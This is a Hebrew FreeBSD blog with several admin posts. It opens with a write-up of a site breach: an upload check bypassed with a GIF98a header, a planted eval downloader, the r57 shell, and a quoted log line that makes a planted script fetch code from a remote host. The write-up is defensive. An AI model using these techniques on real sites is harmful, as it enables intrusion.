איך הסקריפט קידדיז בכל זאת ניצחו
נכתב ע"י יורי ביוני.18, 2010, תחת כללי
או שאולי יותר נכון, איך חוסר תשומת לב קטן עלול להפיל בפח.
ביום רביעי, ה16 לחודש, בשעה 22:22 הגיעה מגוגל ישראל 87.109.217.210 חבר סעודי שכניראה חיפש אתרים ישראלים (למעשה הוא חיפש אתרים שבכתבות שלהם מופיע test ו upload) והתחיל לעבור כל העמודים שגוגל ישראל אינדקס מהאתר, ביניהם גם הדוגמאות קוד ב freebsd.co.il/test אחת הדוגמאות, שנכתבה לצורך דוגמא בלבד (וזאת הטעות), היא דוגמא להעלאת קובץ, בה השתמש הסעודי.
איך הוא עשה את זה:
- העלה קובץ שבראשו מופיע GIF98a וכך עקף את הבדיקה היחידה שיש בקובץ ההעלאה ל mime-type של תמונה
- בעזרת הקובץ שהעלה הוא העלה קובץ נוסף, שמקבל URL כפרמטר, מוריד את הקובץ ומריץ אותו עם eval
- בעזרת הקובץ החדש, הריץ את הסקריפט PHP r57 כדאי שיהיה לו יותר קל והחליף את הindex.php בבלוג לזה שלו.
לקחים:
- לא להשאיר סקריפטים זרוקים שלא נועדו ל-production.
- לייצור sandbox לכל הניסויים, יוזר נפרד, דומיין נפרד.
- לחסום כל תקשורת יוצאת מה sandbox.
- לכתוב מערכת ששולחת SMS ברגע שהעמוד הראשי משתנה מהעותק הקיים.
עדכון:
אחריי כמה חיפושים לפי תאריך שינוי, הסתבר שהסעודי (אם הוא בכלל סעודי) לא פראייר בכלל ושתל בכל מני סקריפטי php את הקוד שלו בשביל להוריד ולהריץ קבצים, שישר אחרי פרסום הפוסט הזה, שינה את הindex שוב עם איום שאם לא אסיר אותו הוא יפרוץ אליי כל הזמן או משהו כזה.
בנוסף לזה חסמתי את הטווח הסעודי, מה שלא הפריעו לו לחזור מטווח של he.net האמריקאים ולנסות להריץ את הקוד שלו ממקום אחר:
65.49.14.55 joomla.freebsd.co.il - [18/Jun/2010:18:29:42 +0300] "GET /includes/.svn/tmp/props/.i.php?t0v=http://74.86.202.236/~globalho/.a/o.oxo HTTP/1.0" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)"
זאת אומרת, http://74.86.202.236/~globalho עוד אתר שהחבר הסעודי שלנו הגיע אליו ומשמש לאחסון קבצים לפריצות הבאות.
חבילת FreeBSD VPS אצל arpnetworks.com
נכתב ע"י יורי באפר'.14, 2010, תחת כללי
אחרי חיפושים ממושכים אחריי VPS נורמלי שאוכל להריץ עליו FreeBSD ולקמפל עליו קרנל משלי, בעקבות המלצות בfreebsd-questions, החלטתי לנסות את arpnetworks.
ב9 לאפריל הזמנתי, למחרת קיבלתי את החשבון:
- הגרפים לניצול רוחב פס לא מופיעים אוטמטית בפאנל ניהול וצריך לבקש שיוסיפו אותם ידנית, ביקשתי.
- בשביל לקבל גישה לconsole של הVPS, צריך להעיבר להם מפתח ציבור שלך כדאי שיוספו לשרת שמנתב גישה לconsole, או להתחבר באופן לא מוצפן מהVNC שיש להם, העברתי מפתח.
- וביקשתי גם PTR ל IP (IPv4) שקיבלתי מהם.
הבקשות הנ"ל תופלו תוך יום, זמן סביר יחסית למחיר ולדחיפות הבקשות.
לקמפל קרנל חדש לקח לי בערך 40 דקות ועכשיו:
sigma.freebsd.co.il 8.0-STABLE FreeBSD 8.0-STABLE #1: Fri Apr 9 19:49:50 IDT 2010
לVPS אפשר להתחבר עם VNC או console, שרץ אצלהם, לא על הVPS עצמו, נוח למקרה שדפקתי את החוקים בפיירוואל למשל, או למשל אם אני רוצה לחלק את המחיצות בצורה אחרת, הם משאירים את דיסק ההתנקה של המערכת ב"כונן" סידירום, אפשר לבחור ב"BIOS" לעלות מה CD ולעשות מה שרוצים.
בשבוע שהיה לי את הVPS עד עכשיו, לא ראיתי בעיות מיוחדות, היה לי קליינט שכל הזמן מחובר לIRC ולא ראיתי ניתוקים, מעבר לזה להתעסק עם זה לעומק השבוע לא היה לי זמן, סה"כ אני ממליץ, המחיר משתלם וזה אחד הספקים הבודדים שמציע FreeBSD.
צריבת iso DVD
נכתב ע"י יורי במרץ.30, 2010, תחת כללי
קודם נטען את המודול atapicam, כי growisofs מצפה להתקן SCSI, ואילו לנו יש ATA.
$ kldload atapicam
ועכשיו נצרוב:
$ growisofs -dvd-compat -Z /dev/cd0=bt4-pre-final.iso
שרת FreeBSD כנתב אלחוטי
נכתב ע"י יורי במרץ.30, 2010, תחת כללי
למה זה טוב?
יש לי מחשב (המחשב שממנו את\ה קורא שורות אלו) שכל הזמן דלוק, אז למה להפעיל בנוסף עוד נתב אלחוטי? העברתי את כל הרשת האלחוטית למחשב הזה.
אפשר לראות תמונה של מבנה הרשת.
מה צריך?
- כרטיס רשת אלחוטי התומך במצב hostap, אני השתמשתי ב Edimax EW7318USG שנקנה באייבורי. מי שמחליט להשתמש בכרטיס הזה, יש פאטץ' קטנטן שצריך לעשות, תלוי באיזה גרסת פרי-בי-אס-די משתמשים.
- hostapd לניהול הרשת האלחוטית, מגיע עם ההתקנה של פרי-בי-אס-די.
- שרת dhcp, יש ב net/isc-dhcp31-server.
- פיירוואל בשביל ה-nat, אני השתמשתי ב pf.
קבצי ההגדרות השתמשתי בהם מפורטים מטה, התבססתי על קבצים מכאן. לא הבאתי את ההגדרות של pf, בגדול מה שצריך זה:
nat on $ExtIF from $WifiIF:network to any -> ($ExtIF)
/etc/rc.conf
# all the wifi stuff: ifconfig_rum0="inet 10.0.0.1 netmask 255.255.255.0 ssid FreeBSD media OFDM/54Mbps mode autoselect mediaopt hostap" hostapd_enable="YES" # wireless services (clients use wpa_supplicant) dhcpd_enable="YES" # dhcpd enabled? dhcpd_flags="-q" # command option(s) dhcpd_conf="/usr/local/etc/dhcpd.conf" # configuration file dhcpd_ifaces="rum0" # ethernet interface(s) dhcpd_withumask="022" # file creation mask
הmediaopt הזה בנתיים נתן לי את הביצועים הכי טובים, כ-2 מגהבייט\ש, בשונה מהautoselect שנתן לי רק 100 קילובייט\ש.
/usr/local/etc/dhcpd.conf
log-facility daemon;
ddns-update-style none;
always-broadcast on;
default-lease-time 3600;
max-lease-time 86400;
authoritative;
option domain-name-servers 62.219.186.7, 192.115.106.35;
option domain-name "localnet.localdomain";
option netbios-name-servers 10.0.0.1;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.199;
option broadcast-address 10.0.0.255;
option subnet-mask 255.255.255.0;
option routers 10.0.0.1;
}
host moon {
hardware ethernet 00:xx:xx:xx:xx:xx;
fixed-address 10.0.0.4;
}
host jenny-laptop {
hardware ethernet 00:xx:xx:xx:xx:xx;
fixed-address 10.0.0.5;
}
/etc/hostapd.conf
interface=rum0 driver=bsd logger_syslog=-1 logger_syslog_level=0 logger_stdout=-1 logger_stdout_level=0 debug=1 dump_file=/tmp/hostapd.dump ctrl_interface=/var/run/hostapd ctrl_interface_group=wheel #### IEEE 802.11 related config #### ssid=FreeBSD macaddr_acl=0 auth_algs=1 country_code=IL hw_mode=g own_ip_addr=10.0.0.1 #### IEEE 802.1X related config #### ieee8021x=0 #### WPA/IEEE 802.11i config ##### wpa=2 wpa_passphrase=SOME_PASS_PHRASE wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP CCMP
בניית עולם וליבה
נכתב ע"י יורי ביולי.11, 2009, תחת כללי
תחילה נערוך את קובץ הגדרות הליבה שנמצא ב:
/usr/src/sys/<arch>/conf
כשאת arch צריך להחליף בארכטקטורה הנכונה, i386 או amd64 (לדוגמא).
לאחר מכן נעבור ל/usr/src ונבצע:
make buildworld && make buildkernel KERNCONF=<kernel name> && make installkernel KERNCONF=<kernel name> && mergemaster -p
make buildworld – בונה עולם
make buildkernel – בונה ליבה עבור קובץ ההגדרות של הליבה שצויין עם kernconf
make installkernel – מתקין את הליבה
mergemaster -p – מכין את התיקיה הזמנית עבור קבצי המערכת החדשים
עתה נבצא איתחול למערכת ונעבור שוב ל/usr/src
make installworld && mergemaster
לשים לב: אם משתמשים בZFS יש צורך לציין לinstallworld את הפרמטר NO_FSCHG=yes אחרת צפויה לנו הפתעה לא נעימה שכבר נכוותי בה.
עקוב אחר ההוראות של mergemaster על מנת לעדכן את כל קבצי המערכת
אחריי עוד איתחול, נוכל למחוק את התוכן של /usr/obj
ולהריץ
make cleandir
ב /usr/src
כמו שוודאי שמתם לב, לא עלינו בשום שלב בסינגל יוסר, כבר עדכנתי את המערכת שלי כמה פעמים בשיטה זו, ולא ראיתי שום בעיות, במקור ראיתי את הדרך הזו באחת מהרשימות תפוצה של פרי-בי-אס-די.
עבודה עם שרת FreeBSD מרוחק
נכתב ע"י יורי במאי.01, 2009, תחת כללי
פעם, איי שם בעבר הרחוק, נהגו אנשים להשתמש ב-telnet (פרוטוקול וכלי) על מנת להתחבר לשרתים מרוחקים, ואז כל אחד שהיה יכול לשבת על הקו איי שם באמצע יכול היה לראות את כל המידע העובר בינך לבין השרת. הזמנים האלה אינם עוד, והיום משתמשים בSSH (בתרגום חופשי: מעתפת (שלל) מאובטחת), פרוטוקול מוצפן המאפשר רק לך ולשרת המרוחק לקבל את המידע.
איך מתחברים?
קודם כל נבחר תוכנת לקוח, שיודעת לדבר את שפת הSSH, למשל PuTTY ונפעיל אותה. נמלע את הhost הרצוי (למשל freebsd.co.il) ונלחץ open. יפתח מסך שחור ובוא הבקשה לlogin (הלא הוא השם משתמש שלך בשרת המרוחק), לאחר הקשת השם משתמש ולחיצת אנטר, תקבל בקשה לסיסמא, אך עתה, כשתקיש את הסיסמא, לא יראו תווים או כוכביות, אלה כדרכם של יוניקסים למניהם, לא תראה דבר, למרות שהתווים שם! הקש את הסיסמא ולחץ אנטר. אם הכל הלך כמו שצריך, אתה צריך לקבל את השורת פקודה של המעטפת (shell).
התחברת, מה עכשיו?
עכשיו כותבים פקודות =)
- ls – רשימת קבצים בתיקיה הנוכחית
- pwd – מראה את השם של התיקיה הנוכחית
- cd – החלף תיקיה, למשל cd directory מחליף תיקיה לתיקיה directory.
- cd ~ – מחזיר אותך לתיקיית הבית שלך.
- cat – מראה תוכן של קובץ מסויים, למשל cat file.txt.
- passwd – להחליף סיסמא
- w – מראה משתמשים מחוברים.
- write – לכתוב הודעה למשתמש מחובר, למשל write yury יתן לכתוב הודעה למשתמש yury.
- mesg – להדליק \ לכבות הודעות שנכתבות עם write, למשל mesg n מכבה הודעות.
- uptime – כמ זמן השרת פועל מאז שהמערכת עלתה + עומסים.
- ps – רשימת התהליכים (תוכנות) הרצות.
- top – מנהל תהליכים.
- mkdir – יצירת תיקיה, בשביל לייצור תיקיה בשם test נשתמש בפקודה: mkdir test
- cp – התעתקת קובץ, למשל: cp file1 file2
- mv – העברת קובץ (גם שינוי שם), למשל: mv file1 file2
- rm – מחיקת קובץ, למשל rm file
- rmdir – מחיקת תיקיה, למשל rmdir test
- man – מראה מידע על פקודה \ תוכנה \ קריאת מערכת \ פונקציית C, למשל: man strlen או man cp
- gcc – מהדר סי, על מנת להדר קובץ נרשום: gcc file.c -o myExecutable
- ./ – הרצת קובץ, למשל: ./myExecutable
- nano – עורך טקסט פשוט וקל לשימוש. אם רוצים לערוך את הקובץ test.txt אז: nano test.txt יפתח את הקובץ בעורך.
- joe – עורך טקסט שמדגיש קוד.
- vi – עורך טקסט מתקדם.
- lynx או links -דפדפן טקסטואלי
- wget – מנהל הורדות, למשל: wget http://www.somesite.com/somefile.zip מוריד את הקובץ.
- fetch – כנ"ל
- exit – יציא מהמעתפת (shell).
- ^Z – קונטרול Z – המקש קונטרול במקלדת ולחיצה על Z – עצירת (לא הפסקת) התהליך שכרגע רץ מולנו ב-foreground.
- ^T – קונטרול T – מראה באיזה קריאת מערכת נמצא התהליך שרץ מולנו.
- ^C – מפסיק את הליך הרץ.
- ^D – קונטרול D – סוף הקובץ EOF. (מסיים קלט, אם במעטפת, אז כמו exit)
- jobs – משימות רצות
- fg – מעביר תהליך מולנו, למשל fg %1 כש 1 הוא המספר של התהליך כמו שjobs החזיר אותו.
- bg – מעביר תהליך לרקע, למשל fg%1
הידור והרצת קובץ lex
yury@delta:~> nano test.l yury@delta:~> lex test.l yury@delta:~> echo hello world thisINTEGER is some test input > test.txt yury@delta:~> ./test < test.txt hello world thisgot INTEGER or integer is some test input
הקובץ lex היה:
%%
integer|INTEGER printf("got INTEGER or integer\n");
%%
העברת קבצים
על מנך להעיבר קבצים מהשרת למחשב בבית ניתן להשמשת בפורטקול SFTP או SCP, עם כל תוכנה שתומכת בהם, למשל WinSCP
איך נפטרתי מהסקריפט-קידדיס שעושים bruteforce לsshd
נכתב ע"י יורי באפר'.24, 2009, תחת כללי
לוקחים מפה את כל טווחי האיפי בישראל, וחוסמים את כל מה שלא מגיע מישראל. בנוסף אני גם חוסם את מי שמנסה להתחבר יותר מ5 פעמים ב60 שניות
table <Israel> file "/path/to/range/of/Israel" . . .
pass in log proto tcp from <Israel> to any port ssh flags S/SA synproxy state (max-src-conn 5, max-src-conn-rate 5/60, overload <ABUSERS> flush global)
קידודים זה דבר מעצבן
נכתב ע"י יורי באפר'.24, 2009, תחת php
אין ספק שקידודים זה דבר מעצבן, אבל זה הופך להיות עוד קצת יותר מעצבן כשמדובר בכתובות.
http://www.freebsd.co.il/test/url/index.php/שלום
שומר על המבנה שלו בשורת הכתובת בלי שהייתי צריך לעשות שום דבר, וגם הURL חוזר מצויין אחריי urldecode.
אם יש בעיה ישר אחריי שמקישים את הכתובת בדפדן, אני מניח שזה בעיה בטיפול של השרת עצמו בכתובת, האפשרות הכי הגיונית זה לשנות את הקידוד ברירת מחדל לUTF-8 באמצעות AddDefaultCharset
הבעייה מתחילה כמשהו שהאתר שלו עדיין בwindows1255 (למה?! למה?!) רוצה לעשות קישור לאתר שלנו ומעתיק את הלינק בדיוק כמו שהוא:
http://www.freebsd.co.il/test/url/win1255.php
(יש פה שני לינקים, הימני עובד בסדר, השמאלי נדפק )
הלינק הימני כניראה עובר המרה ליוניקוד + urlencode ולכן עובר בסדר, ואילו השמאלי, כניראה בגלל הפרמטר נשאר בקידוד המקורי
ולכן "נדפק".
בשביל לראות את המקור, החלף סיומת php ב txt
התקנת Waze על נוקיה 5800
נכתב ע"י יורי באפר'.24, 2009, תחת כללי
הדרכה קצרצרה איך להתקין את הבטא של Waze על המכשיר.
אני מסיר מעליי כל אחריות לצעדים אלו, ההתקנתה על אחריותכם בלבד.
מבוא
כל תוכנה שרוצים להתקין על מע' הפעלה סימביאן, חייבת לקבל את אישור סימביאן ולהיות חתומה בתעודה מתאימה (certificate),
לתעודות הנ"ל כמה רמות שמאפשרות אופי פעולה שונה של התוכנה החתומה עם התעודה.
כמו שאתם יודעים (או אולי לא?) waze שיחררו בטא ל5800, הורדה כאן.
הבעיה היא שהתוכנה חתומה ע"י תעודה שמגבילה את התוכנה למספרי IMEI מסויימים, דבר מובן כשלעצמו.
מי שרוצה להתקין את התוכנה על המכשיר, צריך לחתום את התוכנה עם תעודה שמאפשרת התקנה על מכשיר עם הIMEI שלו.
איך עושים?
- לוקחים תוכנה שיודעת לערוך קבצי sis, למשל: SIScontents
- מסירים את החתימה הנוכחית מהקובץ sis של waze.
- מחתימים את הקובץ sis ע"י תעודת מפתח שהסגת [*]
-או-
באתר של סימביאן:- להרשם ב SymbianSigned
- לבקש UID חדש באתר.
- לשנות את הUID של הקובץ sis לUID שקיבלתם.
- בנוסף יש צורך לשנות UID של כל רכיב בתוכנה (בwaze יש רק אחד) באמצעות התוכנה גם כן.
- להשתמש באפשרות ההחתמה און-ליין בשביל להחתים את הקובץ sis.
- מתקינים את התוכנה.
[*] החוקיות של הנושא הזה לא ידועה לי, בעבר symbian signed חילקו תעודות כאלה, אבל זה נפסק.
אז במקום לתת לינקים ישרים אני אפנה אותכם לגוגל, יש מספיק חומר קריאה בנושא.
שים לב, שבפועולות לקבלת תעודת מפתח תחשפו את מספר ה- IMEI של הטלפון שלכם באינטרנט, ויכולות להיות לזה השלכות.
קוד המקור של Waze מופצץ תחת GPL, אני לא רואה בכל האמור לעיל סתירה לרשיון.
למה פרי-בי-אס-די?
נכתב ע"י יורי במרץ.10, 2009, תחת כללי
בראש ובראשונה, כי זה מערכת הפעלה שלמה, לא רק ליבה (קרנל) עם אוסף של כלים מסביב.
- אבטחה – המערכת מגיעה עם מספר מנגוני אבטחה מובנים, כמו Jail, ACL, MAC ואם נעזוב לרגע את כל אלה, להסתיר תהליכים של משתמשים זה מזה דורש פקודה בודדה, לא צריך פאצ'ים לליבה כמו במערכות אחרות.
~$ sysctl security.bsd.see_other_gids=0 ~$ sysctl security.bsd.see_other_uids=0
- ביצועים – המתעדף החדש משאיר את המתחרים מאחור, להשוואה. מנגנון ה kqueue נותן אלטרנטיבה טובה ל select() / poll(). עוד במאמר הזה
- אחזקה – בכמה פקודות ושלבים פשוטים ניתן לעדכן את הליבה, וכל שאר רכיבי המערכת.